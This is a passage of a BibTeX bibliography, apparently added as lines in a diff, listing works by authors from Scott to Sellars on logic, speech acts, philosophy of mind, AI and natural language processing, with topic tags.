Jan E. Clayton and Elizabeth L. Gibson}, + title = {A Practical Guide To Knowledge Acquisition}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1991}, + address = {Reading, Massachusetts}, + ISBN = {0201145979}, + xref = {Review: marcus:1993a.}, + topic = {knowledge-acquisition;} + } + +@book{ scott_d1:1991a, + author = {Derek Scott}, + title = {Human-Computer Interaction: A Cognitive Ergonomics + Approach}, + publisher = {Ellis Horwood}, + year = {1991}, + address = {New}, + ISBN = {0134414454 (cased)}, + topic = {HCI;} + } + +@incollection{ scott_d2-desouza:1990a, + author = {Donia Scott and Clarisse {S}ieckenius de Souza}, + title = {Getting the message across in {RST}-based Text Generation}, + booktitle = {Current Research in Natural Language Generation}, + year = {1990}, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + publisher = {Academic Press}, + topic = {nl-generation;} +} + +@incollection{ scott_d2-etal:1998a, + author = {Donia Scott and Richard Power and Roger Evans}, + title = {Generation as a Solution to Its Own Problem}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {256--265}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;HCI;} + } + +@article{ scott_ds-suppes:1958a, + author = {Dana S. Scott and Patrick Suppes}, + title = {Foundational Aspects of Theories of Measurement}, + journal = {Journal of Symbolic Logic}, + year = {1958}, + volume = {23}, + number = {2}, + pages = {113--128}, + topic = {qualitative-probability;measurement-theory;} + } + +@incollection{ scott_ds:1961a, + author = {Dana S. Scott}, + title = {More on the Axiom of Extensionality}, + booktitle = {Essays on the Foundations of Mathematics: Dedicated to + {A}.{A}. {F}raenkel on his Seventieth Anniversary}, + publisher = {Magnes Press}, + year = {1961}, + pages = {115--131}, + editor = {Yehoshua Bar-Hillel}, + address = {Jerusalem}, + topic = {set-theory;foundations-of-set-theory;} + } + +@article{ scott_ds:1964a, + author = {Dana S. Scott}, + title = {Measurement Models and Linear Inequalities}, + journal = {Journal of Mathematical Psychology}, + year = {1964}, + volume = {1}, + pages = {233--247}, + missinginfo = {number}, + topic = {qualitative-probability;measurement-theory;} + } + +@unpublished{ scott_ds:1966a, + author = {Dana S. Scott}, + title = {A Proof of the Independence of the Continuum + Hypothesis}, + year = {1966}, + note = {Unpublished manuscript, Stanford University.}, + topic = {continuum-hypothesis;} + } + +@unpublished{ scott_ds:1966b, + author = {Dana S. Scott}, + title = {A Logic of Commands}, + year = {1966}, + note = {Unpublished manuscript, Stanford University}, + topic = {deontic-logic;modal-logic;imperative-logic;} + } + +@unpublished{ scott_ds:1968a, + author = {Dana S. Scott}, + title = {Formalizing Intensional Notions}, + year = {1968}, + note = {Unpublished manuscript, Stanford University.}, + topic = {intensionality;intensional-logic;modal-logic;} + } + +@incollection{ scott_ds:1969a, + author = {Dana S. Scott}, + title = {Advice on Modal Logic}, + booktitle = {Philosophical Problems in Logic: Some Recent Developments}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + editor = {Karel Lambert}, + pages = {143--173}, + address = {Dordrecht}, + topic = {modal-logic;} + } + +@incollection{ scott_ds:1970a, + author = {Dana S. Scott}, + title = {Advice on Modal Logic}, + booktitle = {Philosophical Problems in Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + editor = {Karel Lambert}, + pages = {143--173}, + address = {Dordrecht}, + topic = {modal-logic;} + } + +@unpublished{ scott_ds:1974a, + author = {Dana S. Scott}, + title = {Does Many-Valued Logic Have Any Use?}, + year = {1974}, + note = {Unpublished manuscript, Oxford University.}, + topic = {multi-valued-logic;} + } + +@unpublished{ scott_ds:1977a, + author = {Dana S. Scott}, + title = {Alternative Logics: Fact or Fiction?}, + year = {1977}, + note = {Unpublished manuscript, Oxford University.}, + topic = {philosophy-of-logic;} + } + +@unpublished{ scott_ds:1982a, + author = {Dana S. Scott}, + title = {Domains for Denotational Semantics}, + year = {1982}, + note = {Unpublished manuscript, Department of Computer Science, + Carnegie Mellon University.}, + topic = {domain-theory;denotational-semantics;} + } + +@incollection{ scott_s-matwin:1998a, + author = {Sam Scott and Stan Matwin}, + title = {Text Classification Using {W}ord{N}et Hypernyms}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {38--44}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;information-retrieval; + document-classification;} + } + +@article{ scottkakures:1997a, + author = {Dion Scott-Kakures}, + title = {Self-Knowledge, Akrasia, and Self-Criticism}, + journal = {Philosophia}, + year = {1997}, + volume = {25}, + number = {1--4}, + pages = {267--295}, + topic = {akrasia;} + } + +@article{ scottkakures:2000a, + author = {Dion Scott-Kakures}, + title = {Motivated Believing}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {348--375}, + topic = {belief;volition;wishful-thinking;self-deception;} + } + +@article{ seager:1990a, + author = {William Seager}, + title = {The Logic of Lost {L}ingens}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {4}, + pages = {407--428}, + topic = {epistemic-logic;propositional-attitudes;indexicals;} + } + +@book{ seager:1991a, + author = {William Seager}, + title = {The Metaphysics of Consciousness}, + publisher = {Routledge}, + year = {1991}, + address = {London}, + xref = {heil:1993a}, + topic = {consciousness;philosophy-of-mind;} + } + +@book{ seager:1999a, + author = {William Seager}, + title = {Theories of Consciousness}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 18393 6 (Hb), 0 415 18394 4 (Pb)}, + topic = {consciousness;} + } + +@article{ searle:1962a, + author = {John R. Searle}, + title = {Meaning and Speech Acts}, + journal = {Philosophical Review}, + year = {1962}, + volume = {71}, + pages = {423--432}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@article{ searle:1964a, + author = {John R. Searle}, + title = {How to Derive `Ought' from `Is'\.}, + journal = {Philosophical Review}, + year = {1964}, + volume = {73}, + pages = {43--58}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1965a, + author = {John R. Searle}, + title = {What is a Speech Act?}, + booktitle = {Philosophy in {A}merica}, + publisher = {Cornell University Press}, + year = {1965}, + editor = {Max Black}, + address = {Ithaca, New York}, + pages = {615--628}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1966a1, + author = {John Searle}, + title = {Assertions and Aberrations}, + booktitle = {British Analytical Philosophy}, + publisher = {Routledge and Kegan Paul}, + year = {1966}, + editor = {Bernard O. Williams and A. Montefiore}, + pages = {44--54}, + address = {London}, + missinginfo = {E's 1st name.}, + contentnote = {This is a pre-Grice consideration of Austin's slogan, + "No modification without aberration."}, + xref = {Reprinted; see searle:1966a2.}, + topic = {JL-Austin;ordinary-language-philosophy;presupposition;pragmatics; + speaker-meaning;} + } + +@incollection{ searle:1966a2, + author = {John Searle}, + title = {Assertions and Aberrations}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {205--218}, + address = {London}, + missinginfo = {E's 1st name.}, + contentnote = {This is a pre-Grice consideration of Austin's slogan, + "No modification without aberration."}, + xref = {Reprinted from see nowell-smith:1960a2.}, + topic = {JL-Austin;ordinary-language-philosophy;presupposition; + speaker-meaning;pragmatics;} + } + +@article{ searle:1966b, + author = {John R. Searle}, + title = {Review of {F}urberg's {\it Locutionary and Illocutionary + Acts: A Main Theme in {J}.{L}. {A}ustin's Philosophy}}, + journal = {Philosophical Review}, + year = {1966}, + volume = {75}, + pages = {389--391}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@article{ searle:1968a1, + author = {John R. Searle}, + title = {Austin on Locutionary and Illocutionary Acts}, + journal = {Philosophical Review}, + year = {1968}, + volume = {77}, + pages = {405--424}, + missinginfo = {number}, + xref = {Reprinted in berlin-etal:1973a; see searle:1968a1.}, + topic = {speech-acts;pragmatics;JL-Austin;} + } + +@incollection{ searle:1968a2, + author = {John R. Searle}, + title = {Austin on Locutionary and Illocutionary Acts}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {141--159}, + address = {Oxford}, + topic = {speech-acts;pragmatics;JL-Austin;} + } + +@book{ searle:1969a, + author = {John Searle}, + title = {Speech Acts}, + publisher = {Cambridge Univesity Press}, + year = {1969}, + address = {Cambridge, England}, + topic = {speech-acts;pragmatics;} + } + +@book{ searle:1971a, + editor = {John Searle}, + title = {Philosophy of Language}, + publisher = {Oxford Univesity Press}, + year = {1971}, + address = {Oxford}, + topic = {philosophy-of-language;} + } + +@incollection{ searle:1975a, + author = {John R. Searle}, + title = {Indirect Speech Acts}, + booktitle = {Syntax and Semantics, Vol. 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole and Jerry L. Morgan}, + pages = {59--82}, + address = {New York}, + topic = {indirect-speech-acts;speech-acts;pragmatics;} + } + +@incollection{ searle:1975b, + author = {John R. Searle}, + title = {A Taxonomy of Illocutionary Acts}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {344--369}, + address = {Minneapolis, Minnesota}, + topic = {speech-acts;pragmatics;} + } + +@article{ searle:1976a1, + author = {John Searle}, + title = {The Classification of Illocutionary Acts}, + journal = {Language in Society}, + year = {1976}, + volume = {5}, + pages = {1--24}, + missinginfo = {number}, + xref = {Reprinted in searle:1979a, see searle:1976a2.}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1976a2, + author = {John Searle}, + title = {The Classification of Illocutionary Acts}, + booktitle = {Expression and Meaning}, + publisher = {Cambridge Univesity Press}, + year = {1979}, + pages = {1--29}, + address = {Cambridge, England}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1978a, + author = {John Searle}, + title = {Prima Facie Obligations}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {81--90}, + address = {Oxford}, + topic = {prima-facie-obligation;} + } + +@incollection{ searle:1978b, + author = {John R. Searle}, + title = {The Logical Status of Fictional Discourse}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {233--243}, + address = {Minneapolis}, + topic = {fiction;speech-acts;fictional-characters;(non)existence;} + } + +@book{ searle:1979a, + author = {John Searle}, + title = {Expression and Meaning}, + publisher = {Cambridge Univesity Press}, + year = {1979}, + address = {Cambridge, England}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1979b, + author = {John R. Searle}, + title = {Intentionality and the Use of Language}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {181--197}, + address = {Dordrecht}, + topic = {intention;intentionality;speech-acts;} + } + +@incollection{ searle:1979c, + author = {John R. Searle}, + title = {Metaphor}, + booktitle = {Metaphor and Thought}, + publisher = {Cambridge University Press}, + year = {1979}, + editor = {Andrew Ortnony}, + pages = {265--277}, + address = {Cambridge, England}, + topic = {metaphor;} + } + +@incollection{ searle:1980a, + author = {John R. Searle}, + title = {The Background of Meaning}, + booktitle = {Speech Act Theory and Pragmatics}, + publisher = {Reidel Publishing Company}, + year = {1980}, + editor = {John R. Searle and Ferenc Kiefer and Manfred Bierwisch}, + address = {Dordrecht}, + missinginfo = {E's 1st name, pages}, + topic = {speaker-meaning;pragmatics;} + } + +@incollection{ searle:1980b, + author = {John Searle}, + title = {Prima-Facie Obligations}, + booktitle = {Philosophical Subjects: Essays Presented to {P.F.} + {S}trawson}, + editor = {Zak {van Straaten}}, + publisher = {Oxford University Press}, + address = {Oxford}, + pages = {238--259}, + year = {1980}, + topic = {prima-facie-obligation;} + } + +@article{ searle:1980c1, + author = {John R. Searle}, + title = {Minds, Brains, and Programs}, + journal = {The Behavioral and Brain Sciences}, + year = {1980}, + volume = {3}, + pages = {417--424}, + missinginfo = {number}, + xref = {Republished: searle:1980a2.}, + topic = {philosophy-AI;} + } + +@incollection{ searle:1980c2, + author = {John R. Searle}, + title = {Minds, Brains, and Programs}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {282--306}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: searle:1980a1.}, + topic = {philosophy-AI;foundations-of-cognition;} + } + +@book{ searle-etal:1980a, + editor = {John R. Searle and F. Kiefer and Manfred Bierwisch}, + title = {Speech Act Theory and Pragmatics}, + publisher = {D. Reidel Publishing Co.}, + year = {1980}, + address = {Dordrecht}, + ISBN = {9027710430}, + topic = {speech-acts;pragmatics;} + } + +@book{ searle-vandervecken:1985a, + author = {John R. Searle and Daniel Vandervecken}, + title = {Foundations of Illocutionary Logic}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + xref = {Review: georgalis:1989a}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ searle:1986a, + author = {John Searle}, + title = {Meaning, Communication, and Representation}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {209--226}, + address = {Oxford}, + topic = {philosophy-of-language;speaker-meaning;Grice;pragmatics;} + } + +@article{ searle:1989a, + author = {John R. Searle}, + title = {How Performatives Work}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {5}, + pages = {535--558}, + topic = {speech-acts;} + } + +@incollection{ searle:1992a, + author = {John Searle}, + title = {Conversation}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {1--34}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;conversation-analysis;} + } + +@book{ searle:1992b, + author = {John R. Searle}, + title = {The Rediscovery of the Mind}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262193213 (hard)}, + xref = {Review: batali:1995a.}, + topic = {philosophy-of-mind;philosophy-of-AI;} + } + +@book{ searle:1998a, + author = {John R. Searle}, + title = {Mind, Language, and Society}, + publisher = {Basic Books}, + year = {1998}, + address = {New York}, + xref = {Review: blackburn_s:1999a}, + topic = {philosophy-of-mind;philosophy-of-language;} + } + +@incollection{ sebillot-etal:2000a, + author = {Pascale S\'ebillot and Pierette Bouillon and C\'ecile + Fabre}, + title = {Inductive Logic Programming for Corpus-Based + Acquisition of Semantic Lexicons}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {199--208}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;inductive-logic-programming; + computational-lexicography;} + } + +@unpublished{ sedley:1980a, + author = {David Sedley}, + title = {Personal Identity: Three Stoic Paradoxes}, + year = {1980}, + note = {Unpublished Talk Handout.}, + missinginfo = {Date is a guess.}, + topic = {personal-identity;Stoic-philosophy;} + } + +@incollection{ sedlock:1991a, + author = {David Sedlock}, + title = {Aggregate Functions}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {53--56}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {query-languages;} + } + +@incollection{ sedlock:1991b, + author = {David Sedlock}, + title = {Discussion of Anaphora Resolution in {MMI2}}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {72--73}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {anaphora;anaphora-resolution;} + } + +@article{ seely:2000a, + author = {R.A.G. Seely}, + title = {Review of {\it Categorial Logic and Type Theory}, + by B. Jacobs}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {2}, + pages = {225--229}, + xref = {Review of jacobs_b:1999a.}, + topic = {higher-order-logic;proof-theory;} + } + +@article{ seeskin:1971a, + author = {Kenneth R. Seeskin}, + title = {Many-Valued Logic and Future Contingencies}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1971}, + volume = {14}, + number = {56}, + pages = {759--773}, + title = {Some Remarks on Truth and Bivalence}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1974}, + volume = {17}, + number = {65--66}, + pages = {101--109}, + topic = {truth-value-gaps;} + } + +@article{ segerberg:1973a, + author = {Krister Segerberg}, + title = {Two-Dimensional Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {77--96}, + topic = {modal-logic;tense-logic;indexicals;} + } + +@article{ segerberg:1980a, + author = {Krister Segerberg}, + title = {Applying Modal Logic}, + journal = {Studia Logica}, + year = {1980}, + volume = {39}, + number = {2--3}, + pages = {275--295}, + topic = {modal-logic;} + } + +@article{ segerberg:1982a, + author = {Krister Segerberg}, + title = {The Logic of Deliberate Action}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {2}, + pages = {233--254}, + topic = {action;stit;} + } + +@article{ segerberg:1982b, + author = {Krister Segerberg}, + title = {A Deontic Logic of Action}, + journal = {Studia Logica}, + year = {1982}, + volume = {41}, + pages = {269--282}, + missinginfo = {number}, + topic = {action;deontic-logic;stit;} + } + +@techreport{ segerberg:1983a, + author = {Krister Segerberg}, + title = {Towards an Exact Philosophy of Action}, + institution = {Department of Philosophy, University + of Auckland}, + year = {1983}, + address = {Auckland}, + missinginfo = {Date is a guess.}, + topic = {actions;dynamic-logic;stit;} + } + +@incollection{ segerberg:1985a, + author = {Krister Segerberg}, + title = {Models for Action}, + booktitle = {Analytical Philosophy in Contemporary Perspective}, + publisher = {D. Reidel Publishing Co.}, + year = {1985}, + editor = {B.K. Matakak and J.L. Shaw}, + pages = {161--171}, + address = {Dordrecht}, + missinginfo = {E's 1st name.}, + topic = {action;stit;} + } + +@article{ segerberg:1985b, + author = {Krister Segerberg}, + title = {Routines}, + journal = {Synth\'ese}, + year = {1985}, + volume = {65}, + pages = {185--210}, + missinginfo = {number}, + topic = {action;philosophy-of-action;} + } + +@techreport{ segerberg:1985c, + author = {Krister Segerberg}, + title = {On the Logic of Small Changes in Theories {I}}, + institution = {Department of Philosophy, University + of Auckland}, + year = {1985}, + address = {Auckland}, + missinginfo = {Date is a guess.}, + topic = {belief-revisions;} + } + +@techreport{ segerberg:1985d, + author = {Krister Segerberg}, + title = {On the Logic of Small Changes in Theories {II}}, + institution = {Department of Philosophy, University + of Auckland}, + year = {1985}, + address = {Auckland}, + missinginfo = {Date is a guess.}, + topic = {belief-revision;} + } + +@unpublished{ segerberg:1986a, + author = {Krister Segerberg}, + title = {Conditional Logic and the Logic of Theory Change}, + year = {1986}, + note = {Unpublished manuscript.}, + topic = {conditionals;belief-revision;} + } + +@unpublished{ segerberg:1986b, + author = {Krister Segerberg}, + title = {Talking about Actions (Abstract)}, + year = {1986}, + note = {Unpublished manuscript, Philosophy Department, University + of Auckland}, + topic = {action;action-formalisms;} + } + +@unpublished{ segerberg-chellas:1986a, + author = {Krister Segerberg and Brian Chellas}, + title = {Modalities in $KT^n4$}, + year = {1986}, + note = {Unpublished manuscript.}, + topic = {modal-logic;} + } + +@article{ segerberg:1988a, + author = {Krister Segerberg}, + title = {Actions in Dynamic Logic (Abstract)}, + journal = {The Journal of Symbolic Logic}, + year = {1988}, + volume = {53}, + pages = {1285--1286}, + topic = {actions;dynamic-logic;stit;} + } + +@techreport{ segerberg:1988b, + author = {Krister Segerberg}, + title = {Actions in {PDL} without Program Letters}, + institution = {Department of Philosophy, University + of Auckland}, + year = {1988}, + address = {Auckland}, + topic = {actions;dynamic-logic;stit;} + } + +@article{ segerberg:1989a, + author = {Krister Segerberg}, + title = {Bringing It about}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {4}, + pages = {327--347}, + topic = {dynamic-logic;action;STIT;} + } + +@article{ segerberg:1989b, + author = {Krister Segerberg}, + title = {A Note on an Impossibility Theorem of {G}\"ardenfors}, + journal = {No\^us}, + year = {1989}, + volume = {23}, + pages = {351--354}, + missinginfo = {number}, + topic = {conditionals;belief-revision;update-conditionals;Ramsey-test;} + } + +@article{ segerberg:1990a, + author = {Krister Segerberg}, + title = {Validity and Satisfaction in Imperative Logic}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1990}, + volume = {31}, + pages = {203--21}, + missinginfo = {number}, + topic = {imperative-logic;} + } + +@article{ segerberg:1992a, + author = {Krister Segerberg}, + title = {Getting Started: Beginnings in the Logic of Action}, + journal = {Studia Logica}, + year = {1982}, + volume = {51}, + pages = {437--478}, + missinginfo = {number}, + topic = {action;stit;Aktionsarten;} + } + +@article{ segerberg:1993a, + author = {Krister Segerberg}, + title = {Perspectives on Decisions}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + pages = {263--278}, + topic = {decision-theory;Newcomb-problem;} + } + +@incollection{ segerberg:1994a, + author = {Krister Segerberg}, + title = {`{A}fter' and `During' in Dynamic Logic}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {203--228}, + address = {Helsinki}, + topic = {dynamic-logic;} + } + +@article{ segerberg:1994b, + author = {Krister Segerberg}, + title = {A Model Existence Theorem in Infinitary Propositional + Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {4}, + pages = {337--367}, + topic = {modal-logic;infinitary-logic;} + } + +@incollection{ segerberg:1995a, + author = {Krister Segerberg}, + title = {Conditional Action}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {241--265}, + address = {Oxford}, + topic = {conditionals;action;} + } + +@incollection{ segerberg:1996a, + author = {Krister Segerberg}, + title = {The Delta Operator at Three Levels of Analysis}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {63--75}, + address = {Berlin}, + topic = {action;stit;dynamic-logic;} + } + +@incollection{ segerberg:1996b, + author = {Krister Segerberg}, + title = {To Do and Not to Do}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + address = {Oxford}, + pages = {301--313}, + topic = {action;imperative-logic;} + } + +@article{ segerberg:forthcominga, + author = {Krister Segerberg}, + title = {Irrevocable Revision in Dynamic Doxastic Logic}, + journal = {Mathematical Social Sciences}, + missinginfo = {year, volume, number,pages}, + note = {forthcoming}, + topic = {conditionals;dynamic-logic;} + } + +@incollection{ segond-etal:1997a, + author = {Fr\'ed\'erique Segond and Anne Schiller and Gregory + Greffenstette and Jean-Pierre Chanod}, + title = {An Experiment in Semantic Tagging Using Hidden {M}arkov + Model Tagging}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo amd Yorick Wilks}, + pages = {78--81}, + address = {New Brunswick, New Jersey}, + topic = {semantic-tagging;} + } + +@article{ segre-gordon:1993a, + author = {Alberto Segre and Geoffrey Gordon}, + title = {Review of {\it Computer Systems That Learn}, by + {S}holom {M}. {W}eiss and {C}asimir {A}. {K}ulikowski}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {363--378}, + xref = {Review of weiss_sm-kulikowski:1990a.}, + topic = {machine-learning;} + } + +@article{ segre-elkan:1994a, + author = {Alberto Segre and Charles Elkan}, + title = {A High-Performance Explanation-Based Learning Algorithm}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {1--50}, + topic = {explanation-based-learning;} + } + +@article{ segre-etal:1996a, + author = {Alberto Maria Segre and Geoffrey J. Gordon and Charles P. + Elkan}, + title = {Exploratory Analysis of Speedup Learning Data Using + Expectation Maximization}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {301--319}, + acontentnote = {Abstract: + Experimental evaluations of speedup learning methods have in the + past used non-parametric hypothesis testing to determine whether + or not learning is beneficial. We show here how to obtain deeper + insight into the comparative performance of learning methods + through a complementary parametric approach to data analysis. In + this approach experimental data is used to estimate values for + the parameters of a statistical model of the performance of a + problem solver. To model problem solvers that use speedup + learning methods, we propose a two-component linear model that + captures how learned knowledge may accelerate the solution of + some problems while leaving the solution of others relatively + unchanged. We show how to apply expectation maximization (EM), + a statistical technique, to fit this kind of multi-component + model. EM allows us to fit the model in the presence of + censored data, a methodological difficulty common to experiments + involving speedup learning. } , + topic = {machine-learning;statistical-modeling;} + } + +@article{ segre-etal:2002a, + author = {Alberto Maria Segre and Sean Forman and Giovanni Resta + and Andrew Wildenberg}, + title = {Nagging: A Scalable Fault-Tolerant Paradigm for Distributed + Search}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {71--106}, + topic = {game-trees;search;} + } + +@article{ seidel:1977a, + author = {Asher Seidel}, + title = {The Picture Theory of Meaning}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {99--110}, + topic = {Wittgenstein;philosophy-of-language;} + } + +@article{ seidenfeld:1993a, + author = {Teddy Seidenfeld}, + title = {Outline of a Theory of Partially Ordered Preferences}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {173--189}, + topic = {foundations-of-decision-theory;preferences;} + } + +@incollection{ sejenowski-churchland:1989a, + author = {Terrence J. Sejenowski and Patricia Churchland}, + title = {Brain and Cognition}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {8}, + pages = {301--357}, + address = {Cambridge, Massachusetts}, + topic = {neurocognition;} + } + +@article{ selden:2000a, + author = {Johathan E. Selden}, + title = {On the Role of Impliation in Formal Logic}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {1076--1114}, + topic = {proof-theory;intuitionistic-logic;implicational-logics;} + } + +@article{ self:1977a, + author = {John A. Self}, + title = {Concept Teaching}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {2}, + pages = {197--221}, + acontentnote = {Abstract: + The aim of this report is to illustrate some design principles + for concept teaching systems in computer-assisted instruction. + First, some empirical investigations of a concept learning + program are described. A comparison of program and human concept + learning performance is then made. Finally we consider how a + concept learning program may be incorporated into a teaching + system. } , + topic = {computer-assisted-instruction;} + } + +@article{ selfridge:1986a, + author = {Mallory Selfridge}, + title = {A Computer Model of Child Language Learning}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {2}, + pages = {171--216}, + topic = {L1-acquisition;cognitive-modeling;} + } + +@incollection{ seligman-termeulen:1995a, + author = {Jerry Seligman and Alice {ter Meulen}}, + title = {Dynamic Aspect Trees}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {287--287}, + address = {Dordrecht}, + topic = {tense-aspect;} + } + +@book{ seligman-westerstahl:1995a, + editor = {Jerry Seligman and Dag Westerstahl}, + title = {Logic, Language and Computation}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {situation-theory;} + } + +@incollection{ seligman-moss:1996a, + author = {Jerry Seligman and Lawrence S. Moss}, + title = {Situation Theory}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {239--307}, + address = {Amsterdam}, + topic = {situation-theory;} + } + +@inproceedings{ seligman-etal:1999a, + author = {Mark Seligman and Jan Alexandersson and Kristiina + Jokinen}, + title = {Tracking Morphological and Semantic Co-Occurrences + in Spontaneous Dialogues}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {105--111}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;spoken-language-corpora; + corpus-tagging;} + } + +@book{ selkirk:1982a, + author = {Elizabeth Selkirk}, + title = {The Syntax of Words}, + publisher = {The {MIT} Press}, + year = {1982}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-69079 (paperback)}, + topic = {morphology;lexical-semantics;} + } + +@article{ sellars:1964a, + author = {Wilfrid Sellars}, + title = {Presupposing}, + journal = {The Philosophical Review}, + year = {1964}, + volume = {63}, + pages = {197--215}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + 